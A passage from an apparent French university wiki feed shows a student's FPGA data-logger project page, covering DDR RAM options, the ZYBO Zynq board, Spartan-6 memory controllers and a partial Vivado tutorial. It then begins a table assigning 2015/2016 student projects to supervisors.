*JTAG header compatible with Xilinx parallel cable III, IV and USB cable HW-USB&lt;br /&gt;
*Small form factor: 115x70 mm&lt;br /&gt;
*Micro SD connector&lt;br /&gt;
*5 Header connectors with up to 114 user IOs&lt;br /&gt;
*2 Push-buttons for reset and user function&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0603/documents/UM-TE0603.pdf Datasheet TE0603] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Étude de la carte TE0603=====&lt;br /&gt;
[[Fichier:TE0603_Gerber.jpg|300px|thumb|right|Gerber TE0603]]&lt;br /&gt;
Je vais travailler avec la carte TE0603 en lui ajoutant une socket support pour ajouter une barrette de RAM. En effet, on peut configurer le FPGA pour que ces LUT se transforment en mémoire volatile. Cependant, la taille de ces mémoire reste limité au maximum à 512Mb configurable en 16 ou 32 bits. Mais le CAN branché en amont du FPGA fonctionne à une fréquence de 50MHz, on se rend vite compte que la mémoire RAM va se saturer même si la vitesse de la transmission en aval par le port Ethernet est élevé. &amp;lt;br&amp;gt;&lt;br /&gt;
On trouve sur le site [http://www.trenz-electronic.de trenz-electronic.de] des fichiers schematic et typon lisible sous Altium de la carte de TE0603. C'est de ce [http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603/d3/HW_design.html schéma] que je vais démarrer pour réaliser la carte fille RAM. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En étudiant de plus près le protocole de lecture et d'écriture, il semble possible de créer une carte fille avec juste le support de la barrette physique de RAM. C'est le FPGA qui va se charger de réaliser le &amp;quot;driver&amp;quot; pour accéder en écriture et en lecture les espaces mémoires.&lt;br /&gt;
&lt;br /&gt;
====ZYBO====&lt;br /&gt;
	C'est une plate-forme de développement d'usage général. Celle-ci intègre un port HDMI, plusieurs ports USB dont un pour la programmation, plusieurs switch, plusieurs boutons poussoirs, un slot pour carte SD et surtout 512Mb de DDR3. Cette carte possède comme autre avantage qu'elle peut booter sur un linux via la carte SD. Ainsi, on peut se connecter en SSH/SCP sur la machine et interagir, émettre et recevoir des données en grande quantité. Je pense que le ZYNQ 7000 est un FPGA très avantageux pour faire du système embarqué.&lt;br /&gt;
&lt;br /&gt;
*[http://digilentinc.com/Products/Detail.cfm?NavPath=2,400,1198&amp;amp;Prod=ZYBO Diligent ZYBO Zynq-7000] (fourni le 26 novembre 2015)&lt;br /&gt;
&lt;br /&gt;
====LX9 MicroBoard====&lt;br /&gt;
*Plateforme Xilinx Spartan-6 FPGA LX9 MicroBoard (ressource personnel)&lt;br /&gt;
[[Fichier:LX9.jpg|300px|thumb|right|]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Etude de la problématique===&lt;br /&gt;
====Étude pour l'ajout de RAM====&lt;br /&gt;
Je m'interroge sur les différentes technologies de RAM, en cherchant sur le net, on trouve des comparatifs et de brefs historiques. En voici des extraits:&amp;lt;br&amp;gt;&lt;br /&gt;
'''Historique:''' &amp;lt;br&amp;gt; &lt;br /&gt;
 [[Fichier:DDR.jpg|200px|thumb|right|Différents types de barrette de RAM]]&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Double Data Rate (DDR) SDRAM starts making name in computer market around 2002 and is evolved from SDR (Single Data Rate) SDRAM. The slight difference between DDR and SDR is that DDR reads data on both the rising and falling edges of the clock signal, enabling a DDR memory module to transfer data twice faster as an SDR memory module.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;After 2 years DDR made name in the market, DDR2 appears in mid-2004. DDR2 achieves a better speed than  DDR in providing bandwidth up to 8.5 GB per second. The best thing about DDR2 is that theDDR2 based systems can use memory installed in pairs to run in &amp;quot;dual channel mode&amp;quot; to increase memory throughput even further.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Nowadays, DDR3 takes place of DDR2 in the computer market. DDR3 is believed to consume less power because it operates at lower voltages and can transfer data at rates up to 12.8 GB per second which is 4.3 GB per second faster than DDR2. DDR3 based systems can address memory modules in banks of 1, 2 or 3. &lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |+ Comparatif des performances de DDR* RAM&lt;br /&gt;
 |-&lt;br /&gt;
 |&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR1 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR2 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR3 RAM&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Nombre de pins&lt;br /&gt;
 | 184&lt;br /&gt;
 | 240&lt;br /&gt;
 | 240&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Vitesse d'horloge&lt;br /&gt;
 | 100 MHz à 200 MHz&lt;br /&gt;
 | 100 MHz à 266 MHz&lt;br /&gt;
 | 100 MHz à 300 MHz&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Taux maximum de tranfers&lt;br /&gt;
 | 200 MT/s à 400 MT/s&lt;br /&gt;
 | 400 MT/s à 1066 MT/s&lt;br /&gt;
 | 800 MT/s à 2400 MT/s&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Tension d'alimentation&lt;br /&gt;
 | 2.5 V&lt;br /&gt;
 | 1.8 V&lt;br /&gt;
 | 1.5 V&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
====IP pour SDRRAM====&lt;br /&gt;
 [[Fichier:Sram.jpg|200px|thumb|right|Schéma fonctionnel du driver pour DDR RAM]]&lt;br /&gt;
*Étude de l'IP pour l'adressage RAM&lt;br /&gt;
On trouve plusieurs Ip pour adresser des mots mémoires à la carte RAM:&lt;br /&gt;
**[http://opencores.org/project,sdr_ctrl opencore]&lt;br /&gt;
**Schéma fonctionnel: &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il semble que le Spartan 6 possède des Memory Controller Blocks (MCBs) qui sont spécialement conçu pour adresser des DRAM (DDR, DDR2 et DDR3). Les MCBs ont une vitesse d'accès supérieur à 800 Mbit/s selon la datasheet du Spartan 6. On peut utiliser l'outil Memory Interface Generator (MIG) qui est disponible dans l'outil CORE Generator de ISE.&lt;br /&gt;
&lt;br /&gt;
====Etude  des Memory Controller Blocks==== &lt;br /&gt;
[[Fichier:MCB.png|400px|thumb|right|Représentation du fonctionnement d'un Memory Controller Block (MCB)]] &lt;br /&gt;
Il y a trois fonctions principales du point de vue de l'utilisateur:&lt;br /&gt;
*Lire le port (unidirectionnel)&lt;br /&gt;
*Écrire sur le port (unidirectionnel) &lt;br /&gt;
*Lire et écrire sur le port (bi directionnel)&lt;br /&gt;
On peut voir la représentation du fonctionnement d'un Memory Controller Block (MCB)plusieurs blocks que l'on définit ainsi:&lt;br /&gt;
*Arbiter ou arbitre:&lt;br /&gt;
Il détermine quel port à la priorité pour accéder à la mémoire physique.&lt;br /&gt;
*Controller ou contrôleur:&lt;br /&gt;
Block de contrôle primaire qui convertit de simples requêtes utilisateur en de plus complexes instructions et séquences pour commmuniquer avec la mémoire.&lt;br /&gt;
*Datapath&lt;br /&gt;
Ce block porte le flux de données écrite et lue entre la mémoire physique et l'utilisateur.&lt;br /&gt;
*Physical Interface (PHY) ou  interface physique:&lt;br /&gt;
Convertit les instructions du contrôleur en des relations temporelles et signaux adapté à la mémoire DDR pour communiquer avec elle.&lt;br /&gt;
*Calibration Logic:&lt;br /&gt;
Clalibre l'interface physique (PHY) pour avoir le meilleur rendement.&lt;br /&gt;
&lt;br /&gt;
===Proposition de solutions et argumentaire===&lt;br /&gt;
====Récuperation et affichage des données avec la pateforme ZYBO====&lt;br /&gt;
Voici une liste de matériel pour réaliser cette solution:&lt;br /&gt;
*Plateforme ZYBO&lt;br /&gt;
*Alimentation 5V 3A&lt;br /&gt;
*Carte microSD 4Gb (2Gb minimum)&lt;br /&gt;
*Cable RJ45 &lt;br /&gt;
*Linux type Debian &amp;lt;br&amp;gt;&lt;br /&gt;
Voici les différentes étapes à réaliser pour récupérer et afficher les données venant des GPIOs:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Téléchargement et installation=====&lt;br /&gt;
a°)Telecharger et installer Vivado WebPack de la version la plus récente. [http://www.xilinx.com/support/download.html (Xilinx)] &amp;lt;br&amp;gt;&lt;br /&gt;
b°)Télecharger depuis [https://reference.digilentinc.com/zybo:zybo Zybo Resource Center] le fichier zybo_base_system.zip. &amp;lt;br&amp;gt;&lt;br /&gt;
c°)Télecharger depuis ce [https://github.com/Digilent/vivado-boards/archive/master.zip lien] les ZYBO board files et placer le dossier source /new/zybo/ dans C:\Xilinx\Vivado\2015.4\data\boards\board_files &amp;lt;br&amp;gt;&lt;br /&gt;
d°)Télecharger les fichiers [http://xillybus.com/downloads/xillinux-eval-zybo-1.3c.zip xillinux-eval-zybo-1.3c.zip] et n'en extraire que le dossier bootfiles dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
e°)Télecharger le fichier [http://xillybus.com/downloads/xillinux-1.3.img.gz xillinux-1.3.img.gz] et extraire son contenu dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
=====Création d'une carte bootable sur ZYBO=====&lt;br /&gt;
[[Fichier:Tuto1.PNG|100px|thumb|right|g°)]]&lt;br /&gt;
[[Fichier:Tuto2.PNG|100px|thumb|right|h°)]]&lt;br /&gt;
[[Fichier:Tuto3.PNG|100px|thumb|right|j°)]]&lt;br /&gt;
[[Fichier:Tuto4.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto5.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto6.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
Dans la suite du tutoriel, je vais présenter comment obtenir le fichier .bit qui permet d'obtenir un accès aux différents ports du FPGA comme les switches, les leds, le HDMI etc. Si vous voulez prendre un fichier tout fait, je vous propose le mien qui est déjà compilé et fonctionnel. On le trouvera dans ce [[fichier: Pack_bit.zip | fichier .zip]] avec un imprim'écran qui montre les registres lié aux différentes interfaces. Ce fichier image est très important pour la partie &amp;quot;récupération&amp;quot; des données. Si vous utilisez ce fichier .zip, sautez directement au point .&amp;lt;br&amp;gt;&lt;br /&gt;
f°)Ouvrir avec le logiciel Vivado zybo_base_system\source\vivado\hw\zybo_bsd\zybo_bsd.xpr &amp;lt;br&amp;gt;&lt;br /&gt;
g°)Sur la gauche de l'écran, sous IP integrator, choisir Open Block Design &amp;lt;br&amp;gt;&lt;br /&gt;
h°)Supprimer l'IP pour adresser les LEDS &amp;lt;br&amp;gt;&lt;br /&gt;
i°)On va créer un nouvel IP, tool-&amp;gt;Create and Package IP...; next; name-&amp;gt; myLed; next &amp;lt;br&amp;gt;&lt;br /&gt;
j°)La fenêtre suivante permet d'ajouter des interfaces. On va créer une interface AX14 pour le peripherique myLed. &lt;br /&gt;
*Interface type -&amp;gt;Lite &lt;br /&gt;
*Mode -&amp;gt;Slave &lt;br /&gt;
*data width -&amp;gt;32 bits &lt;br /&gt;
*number of registers -&amp;gt;4&lt;br /&gt;
*Name-&amp;gt;S00_AXI &amp;lt;br&amp;gt;&lt;br /&gt;
k°)La fenêtre suivante permet de choisir l'option &amp;quot;edit IP&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
l°)Dans le projetct manager, ouvrir &amp;quot;myLed_V1...&amp;quot; et ajouter à la ligne 18 :&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;output wire [3:0] led, &amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
et à la ligne 400 : &lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt; assign led=slv_reg0[3:0];&amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
m°)&amp;lt;br&amp;gt;&lt;br /&gt;
n°)&amp;lt;br&amp;gt;&lt;br /&gt;
o°)&amp;lt;br&amp;gt;&lt;br /&gt;
p°)&amp;lt;br&amp;gt;&lt;br /&gt;
q°)&amp;lt;br&amp;gt;&lt;br /&gt;
r°)&amp;lt;br&amp;gt;&lt;br /&gt;
s°)&amp;lt;br&amp;gt;&lt;br /&gt;
t°)&amp;lt;br&amp;gt;&lt;br /&gt;
u°)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Fichiers supplémentaires==&lt;br /&gt;
[[Fichier:DDR connecteur datasheet.png|300px|thumb|right|]]&lt;br /&gt;
*Empreinte sous Altium Designer pour le connecteur DDR1&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Shopping==&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10081530-12207LF/?qs=sGAEpiMZZMu51HMau1GEUGmiHfa8/gTAo1M2%252bNESSU0%3d Connecteur DDR3] 1.5€ ([http://portal.fciconnect.com/Comergent/en/US/adirect/fci;jsessionid=FEFFAFAD5839598353F129F4194CC82E?cmd=catProductDetail&amp;amp;entryPoint=adirect&amp;amp;messageType=catProductDetail&amp;amp;showAddButton=true&amp;amp;productID=1008153012207LF datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10005639-11109LF/?qs=sGAEpiMZZMu51HMau1GEUBTEbqSTMcBDcRDLdGvDZHE%3d Connecteur DDR2] 2€ ([http://www.mouser.com/ds/2/154/gs-12-251-532922.pdf datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/TE-Connectivity-AMP/5390241-4/?qs=sGAEpiMZZMu51HMau1GEUC3LrSDvJPJ82YYPKc6FyEY%3d Connecteur DDR1] 4.5€ ([http://www.mouser.com/ds/2/418/NG_CD_5390241_E-668131.pdf datasheet])&lt;br /&gt;
*Recuperation de DDR1 au service informatique de Polytech&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
[http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603.html Fiche commerciale TE0600] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.fpga4fun.com/FPGAinfo1.html FPGA généralité]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/user_guides/ug388.pdf Guide Xilinx pour le design avec les MCB (Chapitre 3) ] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/ip_documentation/mig/v3_92/ug416.pdf Guide Xilinx pour le design avec l'outil MIG (page 9)]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://claude.lahache.free.fr/mapage2/lignes.pdf Cours sur les lignes de propagations]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://hallofitmage.blogspot.fr/2012/03/difference-between-ddr-ddr2-and-ddr3.html Frautte Nihilus] &amp;lt;br&amp;gt;[https://en.wikipedia.org/wiki/DIMM Wikipédia DIMM]&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Projets_IMA5_2015/2016&amp;diff=27506</id>
		<title>Projets IMA5 2015/2016</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Projets_IMA5_2015/2016&amp;diff=27506"/>
				<updated>2016-02-22T09:06:23Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : /* Répartition des binômes */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Merci de référencer vos pages de projets ici. Merci aussi d'uniformiser vos formats que ce soit en regardant la présentation des projets déjà créés ou en allant modifier le format des précédents si votre façon de faire vous semble la meilleure. Dans tous les cas un minimum de communication entre les binômes est conseillée.&lt;br /&gt;
&lt;br /&gt;
Toutes les sources doivent être déposées sur notre archive GIT. Le service est disponible à l'URL [https://archives.plil.fr archives.plil.fr]. Connectez-vous avec vos identifiants Polytech'Lille. Sauf indication contraire de vos encadrants, rendez le projet public et mettez le lien sur votre Wiki. Vous pouvez trouver de la documentation sur ce système d'archives sur ce [https://git-scm.com/book/fr/v1 site].&lt;br /&gt;
&lt;br /&gt;
== Répartition des binômes ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Projet&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Elèves&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Encadrant Ecole&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Rapport décembre&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Rapports finaux&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Vidéo&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P1 Convertisseur DC/DC pour réseau MTDC]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Mehmet Ilter &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Philippe DELARUE &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P2 Data Logger]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Hidéo VINOT&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015 12;00&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; mercredi 24 février à 10h avec L. Engels&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P4 Jukebox multi-pièces]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Jouy / Julien hérin &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rodolphe Astori / Xavier Redon / Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:Pre_soutenance_PFE_Jouy_herin.pdf]] &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P9 Système d'hébergement domestique]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Romain Libaert / Timothée Teneur &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Xavier Redon / Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015, 10:21, [[Fichier:P9_LIBAERT_TENEUR_DEC15.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; RDV L. Engels le 22/02 &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P10 LILLIAD: Connected Learning Center | P10 LILLIAD: learning center connecté]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Mageshwaran Sekar &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015,07:48, [[Fichier:P10_FYP_December_Report_M_SEKAR.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P11 Spectateur augmenté]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Teresa Tumbragel &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:Teresa Tumbragel-Rapport Spectateur Augmente.pdf]] &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; NA &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P12 Capteurs enfouis pour vieillissement du béton]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; JULITA Alex &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P14 Localisation dans le corps humain]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Matthieu Marcadet &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015, 10:52, [[Fichier:Rapport_intermediaire_PFE_Marcadet.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P18 Meuble intelligent]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Kevin Colautti / Benjamin Lefort &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rémy Bernard / Alexandre Boé / Xavier Redon / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 14/12/2015, 14:44, [[Fichier:P18_pre_soutenance.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; RDV L. Engels le 22/02 &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[Automatic Soldering System Project|P20 Placeur de composants sur PCB]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Jean Wasilewski &amp;amp; Pierre Letousey &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Xavier Redon / Thomas Vantroys / Alexandre Boé &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:P20_ASSP.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P24 Nuage pour sites Web]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Jeremie Denechaud / Thibaut Scholaert &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Xavier Redon / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015, 12:02, [[Fichier:P24_Denechaud_Scholaert.pdf| Rapport intermédiaire de projet]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Fait Maison&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P25 Architecture ROS pour des véhicules autonomes intelligents]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Jean-Michel Tournier / Cyril Smagghe &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Vincent Coelen et Rochdi Merzouki &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015,09:04, [[Fichier:P25-2015_Smagghe_Tournier_decembre.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P26 Robot de forgeage et d’usinage]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Bertrand Yvernault / Louis Thebault &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rochdi Merzouki &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 14/12/2015, 17:51&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P27 Robot de fraiseuse]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Flavien Royer / Maxime Morisse &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rochdi Merzouki &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 14/12/2015, 19:06, [[Fichier:Rapport_Royer_Morisse.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P30 Thermostat connecté et intelligent]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; TISSOT Elise / TIRABY Céline &amp;lt;/td&amp;gt;&lt;br /&gt;
